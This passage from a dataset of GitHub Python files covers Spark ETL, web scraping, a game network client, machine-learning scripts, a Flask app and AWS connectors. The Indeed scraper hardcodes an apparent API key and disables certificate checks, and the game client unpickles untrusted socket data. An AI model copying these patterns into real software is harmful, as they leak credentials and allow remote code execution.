df_parar.agg(max_(\"format\")).collect()[0][0]\r\nsave_bronze = df_parar.agg(max_(\"save_bronze\")).collect()[0][0]\r\nsave_silver = df_parar.agg(max_(\"save_silver\")).collect()[0][0]\r\nsave_gold = df_parar.agg(max_(\"save_gold\")).collect()[0][0]\r\ncursor_execute = df_parar.agg(max_(\"cursor_execute\")).collect()[0][0]\r\nfindspark_sql = df_parar.agg(max_(\"findspark_sql\")).collect()[0][0]\r\nhost = df_parar.agg(max_(\"host\")).collect()[0][0]\r\nuser = df_parar.agg(max_(\"user\")).collect()[0][0]\r\npassw = df_parar.agg(max_(\"pass\")).collect()[0][0]\r\ndriver_sql = df_parar.agg(max_(\"driver_sql\")).collect()[0][0]\r\n\r\n\r\n# extract\r\nprint(\"#\"*100)\r\n\r\ndf = spark.read.parquet(save_bronze).createOrReplaceTempView(\"df\")\r\n\r\n\r\n######################2º STEP #################################################\r\n\r\ndf = spark.sql(\"\"\"SELECT * FROM \r\n(SELECT id, dia, data_captura, apelido, descricao, \r\nREPLACE(kanji, \"Alcunha:Komurasaki\", \"none\") as kanji,\r\nnome_completo,\r\nREPLACE(mes, 'zembro', 'dezembro') as mes,\r\nREPLACE(recompensa, ',', '.') as recompensa,  url,\r\nrow_number() OVER (PARTITION BY id ORDER BY data_captura) \r\nas row_id FROM df WHERE TRIM(id) <> '')\r\nWHERE row_id = 1  \"\"\").createOrReplaceTempView('df_temp')\r\n\r\ndf_final = spark.sql(\"\"\"SELECT REPLACE(uuid(), '-','') as id,\r\ndata_captura, TRIM(dia) as dia_aniversario, TRIM(mes) as mes_aniversario, apelido, descricao, kanji, nome_completo, recompensa,  url FROM df_temp\"\"\")\r\n\r\n\r\n\r\nprint(\"#\"*100)\r\n\r\ndf_final.write.mode(mode).format(format).partitionBy(\"data_captura\").save(save_silver)\r\n","repo_name":"batestin1/onepiece","sub_path":"scripts/script_silver.py","file_name":"script_silver.py","file_ext":"py","file_size_in_byte":3407,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"79"}
+{"seq_id":"32734404934","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[74]:\n\n\nimport requests\nfrom bs4 import BeautifulSoup\nimport pandas as pd\n\nSCRAPERAPI_KEY = 'c44fbbcb4363f1808a24874749b876'        \nproxies = {\n  'http': f'http://scraperapi:{SCRAPERAPI_KEY}@proxy-server.scraperapi.com:8001',\n}\n\ndef extract(page):\n    headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36'}\n    url = f'https://www.indeed.com/jobs?q=data%20engineer&l=New%20York%2C%20NY&start={page}&vjk=97d70eb2f37da8d3'\n    r = requests.get(url, headers, proxies=proxies, verify=False)\n    soup = BeautifulSoup(r.content, 'lxml')\n    return soup\n\ndef transform(soup):\n    divs_title = soup.find_all('div' , class_ = 'slider_container')\n    for item in divs_title:\n        job_title = item.find('h2' , class_ = 'jobTitle').text\n        company = item.find('span', class_ = 'companyName').text\n        location = item.find('div', class_ ='companyLocation').text  \n        try:\n            salary = item.find('span' , class_ = 'salary-snippet').text\n        except:\n            salary = ''\n        summary = item.find('div' , class_ = 'job-snippet').text\n        \n        job = {\n            'job_title' : job_title,\n            'company' : company,\n            'location' : location,\n            'salary' : salary,\n            'summary' : summary\n        }\n        joblist.append(job)\n    return\n        \n\njoblist = []    \n\nfor i in range(0,20,10):\n    print(f'Getting page, {i}')\n    c=extract(i)\n    transform(c)\n    \ndf = pd.DataFrame(joblist)\nprint(df.head())\ndf.to_csv('Indeed_Jobs_Sep.csv')\n\n\n# In[ ]:\n","repo_name":"msk-data/web_scraping","sub_path":"Indeed_Job_Search.py","file_name":"Indeed_Job_Search.py","file_ext":"py","file_size_in_byte":1646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"5969139132","text":"from socket import *\nimport ctypes\nimport pickle\n\nimport threading\n\nfrom app.server_models import *\nfrom app.global_constants import *\nfrom app.client.sprites import *\n\nclass Network():\n    def __init__(self, ip, port):\n        self.client = socket(AF_INET, SOCK_STREAM)\n        self.server = ip\n        self.port = port\n        self.addr = (ip, port)\n        self.my_player_data = None\n        self.enemy_player_data = None\n\n    #Conecta ao servidor e recebe pacote correspondente ao jogador\n    def connect(self):\n        try:\n            #conexão\n            self.client.settimeout(5)\n            self.client.connect(self.addr)\n            self.client.settimeout(None)\n        except:\n            print(f\"Error trying to connect\")\n            self.client.close()\n            quit()\n\n        try:\n            #pacote do jogador\n            my_player = pickle.loads(self.client.recv(BUFFER_SIZE))\n            print(f\"Received initial player obj pid: {my_player.pid}\")\n            self.my_player_data = my_player\n\n            return my_player\n        except:\n            print(f\"Error receiving intial player data\")\n            self.client.close()\n            quit()\n\n    def send_pid_is_ready(self):\n        self.client.send(pickle.dumps(Command(POST_PID_IS_READY, self.my_player_data)))\n\n    def send_selected_map(self, selected_map):\n        self.client.send(pickle.dumps(Command(POST_GAME_MAP, selected_map)))\n\n    def send_game_reset(self):\n        self.client.send(pickle.dumps(Command(POST_GAME_RESET, (self.my_player_data.pid, self.my_player_data.life))))\n\n    def send_bullet_data(self, bullet_data):\n        self.client.send(pickle.dumps(bullet_data))\n\n    def send_player_data(self, bullet_data):\n        self.client.send(pickle.dumps(bullet_data))\n\n    def start_receive(self, game):\n            new_thread = threading.Thread(target=self.receive, args=(id(game),))\n            new_thread.start()\n\n    def receive(self, game):\n        game = ctypes.cast(game, ctypes.py_object).value\n        while game.state != END_STATE:\n            if(game.state == GET_MAP_STATE):\n                self.client.send(pickle.dumps(Command(GET_GAME_MAP)))\n                data = self.client.recv(BUFFER_SIZE)\n                game_map = pickle.loads(data)\n\n                if(type(game_map) == int):\n                    if(game_map != -1):\n                        game.map = game_map\n                        print(f\"PLAYER {self.my_player_data.pid} RECEBEU O MAPA {game.map}\")\n                        game.state = AWAIT_PLAYERS_STATE\n\n            if(game.state == AWAIT_PLAYERS_STATE):\n                self.client.send(pickle.dumps(Command(GET_READY_PLAYERS)))\n                data = self.client.recv(BUFFER_SIZE)\n                players = pickle.loads(data)\n\n                if(type(players) == list):\n                    if(len(players) == N_PLAYERS):\n                        print(f\"PLAYER {self.my_player_data.pid} SAID GAME IS READY\")\n                        self.enemy_player_data = [x for x in players if x.pid != self.my_player_data.pid][0]\n                        game.state = TRADE_UPDATES_STATE\n\n            if(game.state == TRADE_UPDATES_STATE):\n                try:\n                    data = self.client.recv(BUFFER_SIZE)\n\n                    if data:\n                        server_pkt = pickle.loads(data)\n                        \n                        if type(server_pkt) is PlayerData and game.enemy_player:\n                            game.network.enemy_player_data = server_pkt\n                            game.enemy_player.update_enemy()\n\n                        if type(server_pkt) is BulletData:\n                            b = Bullet(game, server_pkt.pos, server_pkt.dir, server_pkt.dx, server_pkt.dy, server_pkt.pid)\n\n                            if server_pkt.pid == game.my_player.pid:\n                                game.alliebullets.add(b)\n                            else:\n                                game.enemybullets.add(b)\n\n                            game.all_sprites.add(b)\n\n                        if type(server_pkt) is Command:\n                            if(server_pkt.type == POST_GAME_RESET):\n                                if(server_pkt.data[0] != self.my_player_data.pid):\n                                    self.enemy_player_data.life = server_pkt.data[1]\n                                    game.enemy_player.life = server_pkt.data[1]\n                                game.reset()\n                except:\n                    print(\"ERROR RECEIVING ON TRADING STATE\")\n        print(\"MATOU A NETWORK\")\n","repo_name":"FelipeMarra/combat-multiplayer-python","sub_path":"app/client/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":4545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"32814712289","text":"x, e = map(float, input('Enter x and e: ').split())\r\nshx = 0\r\nn = 0\r\na = 0\r\nfact = 1\r\nwhile True:\r\n    for i in range(1, 2 * n + 2):\r\n        fact *= i\r\n    a0 = a\r\n    a = x ** (2 * n + 1) / fact\r\n    diff = abs(a - a0)\r\n    shx += a\r\n    n += 1\r\n    fact = 1\r\n    if not (diff > e):\r\n        break\r\nprint(shx)","repo_name":"Malbof/Omran-Mohamad-OP","sub_path":"lab3.py","file_name":"lab3.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"10191150625","text":"import logging\n\nfrom mmcv.runner import get_dist_info\n\n\ndef get_root_logger(log_file=None, log_level=logging.INFO):\n    \"\"\"Get the root logger.\n\n    The logger will be initialized if it has not been initialized. By default a\n    StreamHandler will be added. If `log_file` is specified, a FileHandler will\n    also be added. The name of the root logger is the top-level package name,\n    e.g., \"mmdet\".\n\n    Args:\n        log_file (str | None): The log filename. If specified, a FileHandler\n            will be added to the root logger.\n        log_level (int): The root logger level. Note that only the process of\n            rank 0 is affected, while other processes will set the level to\n            \"Error\" and be silent most of the time.\n\n    Returns:\n        logging.Logger: The root logger.\n    \"\"\"\n    logger = logging.getLogger(__name__.split('.')[0])  # i.e., mmdet\n    # if the logger has been initialized, just return it\n    if logger.hasHandlers():\n        return logger\n\n    format_str = '%(asctime)s - %(name)s - %(levelname)s - %(message)s'\n    logging.basicConfig(format=format_str, level=log_level)\n    rank, _ = get_dist_info()\n    if rank != 0:\n        logger.setLevel('ERROR')\n    elif log_file is not None:\n        file_handler = logging.FileHandler(log_file, 'w')\n        file_handler.setFormatter(logging.Formatter(format_str))\n        file_handler.setLevel(log_level)\n        logger.addHandler(file_handler)\n\n    return logger\n\n\ndef print_log(msg, logger=None, level=logging.INFO):\n    \"\"\"Print a log message.\n\n    Args:\n        msg (str): The message to be logged.\n        logger (logging.Logger | str | None): The logger to be used. Some\n            special loggers are:\n            - \"root\": the root logger obtained with `get_root_logger()`.\n            - \"silent\": no message will be printed.\n            - None: The `print()` method will be used to print log messages.\n        level (int): Logging level. Only available when `logger` is a Logger\n            object or \"root\".\n    \"\"\"\n    if logger is None:\n        print(msg)\n    elif logger == 'root':\n        _logger = get_root_logger()\n        _logger.log(level, msg)\n    elif isinstance(logger, logging.Logger):\n        logger.log(level, msg)\n    elif logger != 'silent':\n        raise TypeError(\n            'logger should be either a logging.Logger object, \"root\", '\n            '\"silent\" or None, but got {}'.format(logger))\n","repo_name":"WXinlong/SOLO","sub_path":"mmdet/utils/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":2412,"program_lang":"python","lang":"en","doc_type":"code","stars":1632,"dataset":"github-code","pt":"79"}
+{"seq_id":"8482042813","text":"import copy\nimport os\n\nimport matplotlib.pyplot as plt\nimport traci\n\nfrom optimization.Agent import Agent\nfrom controllers.Environment import Environment\nfrom Utils import Utils\n\nDEFAULT_SCHEDULE = [2, 2, 2, 2]\n\ndef getPicture(filename, data, yLabel, xLabel):\n    plt.plot(data)\n    plt.ylabel(yLabel)\n    plt.xlabel(xLabel)\n    plt.margins(0)\n    minValue = min(data)\n    maxValue = max(data)\n    plt.ylim(minValue - 0.05 * abs(minValue), maxValue + 0.05 * abs(maxValue))\n    fig = plt.gcf()\n    fig.set_size_inches(20, 11.25)\n    fig.savefig(os.path.join('plot', filename), dpi=96)\n    plt.close(\"all\")\n\ndef preTraining(env, agent):\n    phaseCombinations = []\n    for phase2 in range(1, 4):\n        for phase3 in range(1, 4):\n            if phase3 != phase2:\n                for phase4 in range(1, 4):\n                    if phase4 != phase3 and phase4 != phase2:\n                        phaseCombinations.append([0, phase2, phase3, phase4])\n\n    schedules = [DEFAULT_SCHEDULE]\n    for dominantPhase in range(4):\n        schedule = copy.deepcopy(DEFAULT_SCHEDULE)\n        schedule[dominantPhase] -= 1\n        schedules.append(schedule)\n        for increaseBy in range(1, 4):\n            schedule = copy.deepcopy(DEFAULT_SCHEDULE)\n            schedule[dominantPhase] += increaseBy\n            schedules.append(schedule)\n\n    for phaseCombination in phaseCombinations:\n        for schedule in schedules:\n            print(\"Pre-episode with schedule\", schedule, \"and phase combination\", phaseCombination, \"started...\")\n\n            actionIndex = 0\n            stepsTaken = 0\n            done = False\n            observation = env.reset(preTraining=True, training=True)\n\n            while not done:\n                action = phaseCombination[actionIndex]\n                newObservation, reward, done = env.step(action)\n                agent.remember(observation, action, reward, newObservation)\n                observation = newObservation\n\n                stepsTaken += 1\n                if stepsTaken >= schedule[actionIndex]:\n                    stepsTaken = 0\n                    actionIndex = (actionIndex + 1) % 4\n\n            env.runner.endConnection()\n            print(\"Pre-episode ended.\")\n\n    agent.saveReplayBuffer()\n    agent.updateNetwork(preTraining=True, useAverage=True)\n    agent.updateNetworkBar(preTraining=True)\n\n    return agent\n\nif __name__ == \"__main__\":\n    env = Environment()\n    agent = Agent(alpha=Utils.ALPHA.value, numberOfActions=Utils.NUMBER_OF_ACTIONS.value,\n                  batchSize=Utils.BATCH_SIZE.value,\n                  inputDimensions=Utils.INPUT_DIMENSIONS.value, memorySize=Utils.MEMORY_SIZE.value,\n                  filename=Utils.MODEL_FILENAME.value, memoryFilename=Utils.MEMORY_FILENAME.value,\n                  learningStepsToTake=Utils.LEARNING_STEPS.value)\n\n    if Utils.LOAD_MODEL.value:\n        agent.loadModel()\n    else:\n        print(\"Starting pre-optimization...\")\n        agent = preTraining(env, agent)\n        print(\"End pre-optimization\")\n\n    scores = []\n    losses = []\n    print(\"Starting optimization...\")\n    for learningStep in range(Utils.STARTING_STEP.value, Utils.LEARNING_STEPS.value):\n        print(\"Learning step #\", learningStep, \"started.\")\n        done = False\n        score = 0.0\n        negativeReward = 0.0\n        minLoss = float('inf')\n        observation = env.reset(preTraining=False, training=True)\n        counter = 0\n        currentTime = 0\n        while not done:\n            action = agent.chooseAction(observation, traci.simulation.getTime())\n            newObservation, reward, done = env.step(action)\n            if env.runner.freshChanged:\n                counter += 8\n            else:\n                counter += 5\n            score += reward\n            if reward < 0.0:\n                negativeReward += reward\n            agent.remember(observation, action, reward, newObservation)\n            observation = newObservation\n\n            if counter > Utils.UPDATE_PERIOD.value:\n                currentTime += counter\n                counter = 0\n                print(\"Current time:\", currentTime, \"Learning step:\", learningStep)\n                minLoss = min(agent.updateNetwork(preTraining=False, useAverage=False), minLoss)\n                agent.updateNetworkBar(preTraining=False)\n\n        env.runner.endConnection()\n        agent.saveModel()\n        print('Learning step #', learningStep, ' had negative reward %.2f' % negativeReward)\n        print('Learning step #', learningStep, ' had total reward %.2f' % score)\n        print('Learning step #', learningStep, ' epsilon =', agent.epsilon)\n        losses.append(minLoss)\n        scores.append(score)\n        print('Current scores:', scores)\n        print('Current losses:', losses)\n\n    print(\"Training ended.\")\n\n    getPicture('obtained_score.png', scores, 'Scores', 'Learning Steps')\n    getPicture('obtained_loss.png', losses, 'Losses', 'Learning Steps')\n","repo_name":"916-Preda-Andrei/DiplomaThesisApp","sub_path":"traci/Training.py","file_name":"Training.py","file_ext":"py","file_size_in_byte":4908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"73326047936","text":"\n'''\n2018-5-30\n决策树\n'''\nimport numpy as np\nfrom math import log\n\ndef createDataSet():\n    dataSet = [\n              [1, 1, 'yes'],\n              [1, 1, 'yes'],\n              [1, 0, 'no'],\n              [0, 1, 'no'],\n              [0, 1, 'no']]\n    labels = ['no surfacing', 'flippers']\n    return dataSet, labels\n\n# 计算给定数据集的香农熵\ndef calcShannonEnt(dataSet):\n    # 数据集样本数\n    numEntries = len(dataSet)\n    # 定义字典，用于计数\n    labelCounts = {}\n    # 从数据集中，每次取出一行\n    for featVec in dataSet:\n        # 取出每一行的最后一列，即 'yes' or 'no'\n        currentLabel = featVec[-1]\n        # 判断 'yes' or 'no' 是否在字典中，不在加入计数为0，在则计数加1\n        if currentLabel not in labelCounts.keys():\n            labelCounts[currentLabel] = 0\n        labelCounts[currentLabel] += 1\n    # 定义容器，存放 熵\n    shannonEnt = 0.0\n    # 依据信息熵公式，计算该 dataSet 的信息熵 \n    for key in labelCounts:\n        prob = float(labelCounts[key]) / numEntries\n        shannonEnt -= prob * log(prob, 2)\n    # 返回 dataSet 的信息熵\n    return shannonEnt\n\n# 按照给定特征划分数据集\n# dataSet 数据集\n# axis　　列号\n# value　将列号为axis，值为value的　其他数据分个出来，看实例\ndef splitDataSet(dataSet, axis, value):\n    retDataSet = []\n    for featVec in dataSet:\n        if featVec[axis] == value:\n            reducedFeatVec = featVec[:axis] \n            reducedFeatVec.extend(featVec[axis + 1 : ])\n            retDataSet.append(reducedFeatVec)\n    return retDataSet \n\n# 选择最好的数据集划分方式\ndef chooseBestFeatureToSplit(dataSet):\n    # 每一行最后一列为 label,计算 feature 列数\n    numFeatures = len(dataSet[0]) - 1\n    #计算整个数据集的信息熵\n    baseEntropy = calcShannonEnt(dataSet)\n    # bestInfoGain　信息增益预先设为为 0.0\n    # bestFeature 最好划分的列标签，预先设为 -1\n    bestInfoGain = 0.0; bestFeature = -1\n    # 依据 feature 数进行循环\n    for i in np.arange(numFeatures):\n        # 将每一行数据取出，存为list，次数为feature数，即没有最后一列label\n        featList = [example[i] for example in dataSet]\n        # set 去冗余\n        uniqueVals = set(featList)\n        # 定义熵容器\n        newEntropy = 0.0\n        # 从 uniqueVals 集合中迭代\n        for value in uniqueVals:\n            # 从每一列开始，按值划分数据集\n            subDataSet = splitDataSet(dataSet, i, value)\n            # 见公式\n            prob = len(subDataSet) / float(len(dataSet))\n            newEntropy += prob * calcShannonEnt(subDataSet) \n        infoGain = baseEntropy - newEntropy\n        # 找到信息增益最大的列号\n        if infoGain > bestInfoGain:\n            bestInfoGain = infoGain\n            bestFeature = i\n    # 返回信息增益最大的列号\n    return bestFeature\n\n\n# 如果数据集已经处理了所有属性，但是类标签依然不是唯一的，此时我们需要决定如何定义该叶子节点，\n# 在这种情况下，我们通常会采用 多数表决的方法决定该叶子节点的分类\ndef majorityCnt(classList):\n    # 定义一个用于计数的字典\n    # 注，此时classList 只有一列，为类标签，因为类标签不唯一，才用此方法找最多的label\n    classCount = {}\n    # 从 classList 迭代取值\n    for vote in classList:\n        # 如果从classList中取出的值不在classCount字典中，则将该值放入字典，计数为1，否则在字典中的该值计数加1\n        if vote not in classCount.keys():\n            classCount[vote] = 0\n        classCount[vote] += 1\n    \n    # 找到字典中 value 最大的 key 并返回\n    newvalue = -1\n    for key in classCount:\n        if newvalue < classCount[key]:\n            newkey = key\n            newvalue = classCount[key]\n    return newkey\n\n# 创建树的函数代码\ndef createTree(dataSet, labels): # 两个输入参数-- 数据集， 标签列表\n    # 将 dataSet 最后一列放入 classList\n    classList = [example[-1] for example in dataSet]\n    # 如果类别完全相同则停止继续划分\n    if classList.count(classList[0]) == len(classList):\n        return classList[0] \n    \n    # 如果数据集已经处理了所有属性，但是类标签依然不是唯一的，采用 多数表决的方法决定该叶子节点的分类\n    if len(dataSet[0]) == 1:  \n        return majorityCnt(classList) \n    \n    # 得到最好划分，也就是信息增益最大的列号\n    bestFeat = chooseBestFeatureToSplit(dataSet)\n    # 将 信息增益最大的列的列名存入 bestFeatLabel\n    bestFeatLabel = labels[bestFeat]\n    # 定义树，存为字典形式\n    myTree = {bestFeatLabel:{}}\n    # 将信息增益最大的列名删除\n    del(labels[bestFeat])\n    \n    # 将信息增益最大的列取出\n    featValues = [example[bestFeat] for example in dataSet]\n    # 去除冗余\n    uniqueVals = set(featValues)\n    # 迭代取值\n    for value in uniqueVals:\n        # 这行代码复制了类标签\n        subLabels = labels[:]  \n        # 递归创建树\n        myTree[bestFeatLabel][value] = createTree(splitDataSet(dataSet, bestFeat, value), subLabels) # 字典的嵌套\n    # 返回创建好的树\n    return myTree\n\n# 使用决策树的分类函数\n# inputTree 创建好的决策树\n# featLabels 存放feature名的list\n# testVec   预测的feature\ndef classify(inputTree, featLabels, testVec):\n    # 取出决策树的key，存为list，并取第一个key\n    firstStr = list(inputTree.keys())[0]\n    # 取出第一个key所对应的value\n    secondDict = inputTree[firstStr]\n    # 取出 firstStr 所在的列号\n    featIndex = featLabels.index(firstStr)\n    # 这段代码为递归找到类别，依次递归向下找\n    for key in secondDict.keys():\n        if testVec[featIndex] == key:\n            if isinstance(secondDict[key], dict):\n                classLabel = classify(secondDict[key], featLabels, testVec)\n            else:\n                classLabel = secondDict[key]\n    return classLabel\n\nif __name__ == '__main__':\n    myDat, labels = createDataSet()\n    print(labels)\n\n    myTree = createTree(myDat, labels)\n    print(myTree)\n\n    # 经过 createTree 已经把labels给破坏了，所以现在要从新获取labels\n    myDat, labels = createDataSet()\n    print(classify(myTree, labels, [1, 0]))\n    print(classify(myTree, labels, [1, 1]))","repo_name":"cb-guo/Machine-Learning","sub_path":"机器学习实战/第3章 决策树/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":6485,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"}
+{"seq_id":"30914138595","text":"from registro_ig import app\nfrom datetime import datetime\nfrom flask import render_template,request,redirect\nfrom registro_ig.models import *\n\n\n#funcion que controla los errores\ndef validatePurchase(requestForm):\n    moneda_to=requestForm['moneda_to']\n    moneda_from=requestForm['moneda_from']\n    cantidad_from=requestForm['cantidad_from']\n    cantidad_realcry = (money_back(moneda_from)[0][0]) - (invested_money(moneda_from)[0][0])\n    errores=[]\n    if moneda_from != \"EUR\" and consult_currencies(moneda_from) == False:#evito resultado notype\n        errores.append(\"Moneda inexsistente en su cartera\")\n    if moneda_from ==  moneda_to:\n        errores.append(\"Moneda invalida: No puede intercambiar valores con la misma mondeda\")\n    if moneda_from != \"EUR\" and float(cantidad_from) > cantidad_realcry:#calculo si tengo en realidad la cantidad que pongo en cantidad_from\n        errores.append(\"Cantidad insuficiente, o moneda inexsistente en su cartera\")\n    if float(cantidad_from) <= 0:\n        errores.append(\"No puede introducir cantidad inferior a 1\")\n       \n    return errores\n\n\n@app.route(\"/\")#Home\ndef index():\n\n    registros = select_all()#importo todo el registro\n\n    return render_template(\"index.html\", page = \"Inicio\", pageTitle=\"Home\",data=registros)#data esta en index con jinja, y aqui creamos la variable asignandole la lista de diccionario data_mov\n\n\n\n@app.route(\"/purchase\",methods=[\"GET\",\"POST\"])\ndef purchase():\n   \n    \n    if request.method == \"GET\":\n        \n        return render_template(\"purchase.html\",page =\"Compra\",form={})\n    \n    else:#entra nel post y son 2 POST\n        cantidad_from=float(request.form['cantidad_from'])\n        moneda_from=request.form['moneda_from']\n        moneda_to=request.form['moneda_to']\n        cantidad_to=request.form['cantidad_to']\n        \n        if 'calcular' in request.form:#primer boton y primer post\n\n            errores = validatePurchase(request.form)\n            if errores:#si hay errores no calcula\n                return render_template(\"purchase.html\",msgError=errores, page =\"Compra\",cantidad_from=cantidad_from, cantidad_to=cantidad_to, form={})\n        \n            else:\n                \n                cambio =change_from_to(moneda_from,moneda_to)#peticion api del intercambio\n                \n                precio_unitario = cantidad_from/cambio\n                cantidad_to = cambio\n                \n                lista_request={\n                    \"moneda_from\":request.form['moneda_from'],\n                    \"moneda_to\":request.form['moneda_to'],\n                    \"cantidad_from\":request.form['cantidad_from'],\n                    \"cantidad_to\":str(cambio),\n                    \"precio_unitario\":str(precio_unitario)\n                }#declaro la lista de los argumentos del form para que se devuelvan en los botones \n                \n                return render_template(\"purchase.html\", page =\"Compra\", cantidad_to=cambio, form=lista_request, pageTitle=\"Invertir\", msgError=errores, precio_unitario=precio_unitario)\n        \n        if 'comprar' in request.form:#segunda peticion \"POST\", finalmente capturo horas y fecha\n\n            fecha = datetime.now().strftime('%Y-%m-%d')\n            horas = datetime.now().strftime('%H:%M:%S')\n            \n            insert([ fecha,\n                     horas,\n                     request.form['moneda_from'],\n                     request.form['cantidad_from'],\n                     request.form['moneda_to'],\n                     request.form['cantidad_to'] ])#funcion que captura y registra los datos en la base de datos\n\n            return redirect(\"/\")#devuelve a la home, donde se averiguerá la transacion efectuada\n      \n\n\n@app.route(\"/status\", methods=[\"GET\",\"POST\"] )\ndef resume():\n    if request.method == \"GET\":#calculos sobre la base de datos\n        invertido=invested_money(\"EUR\")[0][0]\n        recuperado=money_back(\"EUR\")[0][0]\n        valor_compra= (invested_money(\"EUR\")[0][0] - money_back(\"EUR\")[0][0])\n        valor_actual=current_value()#funcion que captura el valor actual de euros con las cryptomonedas que efectivamente se poseen\n        \n        return render_template(\"status.html\", page =\"Estado\", valor_actual=valor_actual, invertido=invertido, recuperado=recuperado,valor_compra=valor_compra, form={})\n        \n    else:\n        if 'reiniciar' in request.form:#he puesto un boton para poder poner a cero la tabla y volver a empezar la inversion\n            delete_all()\n            return redirect(\"/\")","repo_name":"Tittiola/Proyecto_Flask_classic_Viola_M","sub_path":"registro_ig/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":4483,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"14262866356","text":"import json\nimport typing\nimport boto3\n\nfrom botocore.exceptions import ClientError, ParamValidationError\n\n\nclass DynamoDbException(Exception):\n    pass\n\n\nclass AwsConnectorContext:\n    \"\"\"\n    Class represents connector context for AWS resources\n    \"\"\"\n\n    def __init__(\n        self,\n        region: str,\n        account_id: str,\n        access_key_id: str,\n        secret_access_key: str\n    ):\n        self.region = region\n        self.account_id = account_id\n        self.access_key_id = access_key_id\n        self.secret_access_key = secret_access_key\n\n\nclass DynamoDbConnector:\n    \"\"\"\n    Class represents connector for AWS DynamoDB table\n    \"\"\"\n\n    def __init__(\n        self,\n        table_name: str,\n        context: AwsConnectorContext\n    ):\n        self.table_name = table_name\n        self.context = context\n        self._table = None\n\n    @property\n    def table(self):\n        if not self._table:\n            dynamodb = boto3.resource(\n                'dynamodb',\n                aws_access_key_id=self.context.access_key_id,\n                aws_secret_access_key=self.context.secret_access_key,\n                region_name='us-west-2',\n            )\n            self._table = dynamodb.Table(\n                self.table_name\n            )\n        return self._table\n\n    def fetchone(self, key: dict) -> typing.Dict:\n        try:\n            response = self.table.get_item(\n                Key=key\n            )\n            return response.get('Item')\n        except (\n            ParamValidationError,\n            ClientError\n        ) as err:\n            raise DynamoDbException(err) from err\n\n    def put_item(self, data: dict):\n        self.table.put_item(\n            Item=data\n        )\n\n\nclass SnsConnector:\n    \"\"\"\n    Class represents connector for AWS SNS topic\n    \"\"\"\n\n    def __init__(\n        self,\n        topic_name: str,\n        context: AwsConnectorContext\n    ):\n        self.topic_name = topic_name\n        self.context = context\n        self._client = None\n\n    @property\n    def topic_arn(self):\n        return 'arn:aws:sns:{}:{}:{}'.format(\n            self.context.region,\n            self.context.account_id,\n            self.topic_name\n        )\n\n    @property\n    def client(self):\n        if not self._client:\n            self._client = boto3.client(\n                'sns', self.context.region\n            )\n        return self._client\n\n    def publish(self, msg: str):\n        response = self.client.publish(\n            TopicArn=self.topic_arn,\n            Message=json.dumps(\n                {\n                    'default': json.dumps(msg)\n                }\n            ),\n            MessageStructure='json'\n        )\n        return response\n","repo_name":"dmitrikuksik/watchdog","sub_path":"watchdog/core/connectors.py","file_name":"connectors.py","file_ext":"py","file_size_in_byte":2696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"29195266178","text":"'''\nCreated on Tue Oct  9 22:52:59 2018\n\n@author: Grant, Pierce\n'''\n\n\nimport os\nimport nltk\n#nltk.download('stopwords')\n#nltk.download('wordnet')\nimport re\nimport string\nimport sklearn as sl \nimport pandas as pd\nimport gensim as gs\n\nos.chdir(r\"C:\\\\Users\\\\pseco\\\\Documents\\\\GitHub\\\\Text-Mining\\\\\") \n#os.chdir(\"C:\\\\Users\\\\gflemin\\\\Documents\\\\GitHub\\\\Text-Mining\\\\\")\n\ndf = pd.read_csv(r'US_Strat_sample.csv') # what's up with the r's?\n\n\ndf['description'] = df['description'].str.replace('\\d+', '')\nvariety = list(df['variety'])\ndoc = []\ndescriptions = df['description']\ntype(descriptions) # made a series\n\n\ndf.head()\nfor description in descriptions:\n    doc.append(description)\n    \n# remove punctuation\n#nltk.download('punkt')\npunc = re.compile('[%s]' % re.escape(string.punctuation))\nterm_vec = []\nfor d in doc: \n    d = d.lower()\n    d = punc.sub('', d)\n    term_vec.append(d)\n\n#print(term_vec[0:10])\n\n#tokenize\ntoken_term_vec=[]\nfor elm in term_vec:\n    token_term_vec.append(nltk.word_tokenize(elm))\n    \nprint(token_term_vec[0:10])\n\n# add words that might be relevant stop words\nstopwords = nltk.corpus.stopwords.words('english')\nmorewords = ['drink', 'show', 'touch', 'mouth', 'feel', 'nose', 'drinks', 'wine', 'wines', \n             'wine', 'wines', 'grape', 'grapes', 'note', 'notes', 'aroma', 'aromas', 'palate', 'finish', 'taste', \n             'tastes', 'show', 'flavour', 'flavor', 'flavors', 'flavours', 'fruit', '%', '.', '-', '-.','(',')']\nstopwords.extend(morewords)\n\n#print(stopwords)\n\n#remove stop words\n#nltk.download('stopwords')\nnsw_term_vec = []\nfor review in token_term_vec: \n    wr=[]\n    for word in review:\n        if word not in stopwords:\n            wr.append(word)    \n    nsw_term_vec.append(wr)\n            \nprint(nsw_term_vec[0:10])\n\n# Lemmatize data\n#nltk.download('wordnet')\nwnl = nltk.stem.WordNetLemmatizer()\n\ncln_term_vec = []\nfor reviews in nsw_term_vec:\n    lemma=[]\n    for words in reviews:\n        lemma.append(wnl.lemmatize(words))\n    cln_term_vec.append(lemma)\n    \nprint(cln_term_vec[0:10])\n\n#Gen Sim Dictionary\n    \ndict_corp = gs.corpora.Dictionary(cln_term_vec)\n\ncorpus=[]\nfor i in range(0, len(cln_term_vec)):\n    corpus.append(dict_corp.doc2bow(cln_term_vec[i]))\n\n\n\n#Create TFIDF Vectors Based on term Vectors\n\ntfidf_model = gs.models.TfidfModel(corpus)\n\ntfidf=[]\nfor i in range(0,len(corpus)):\n    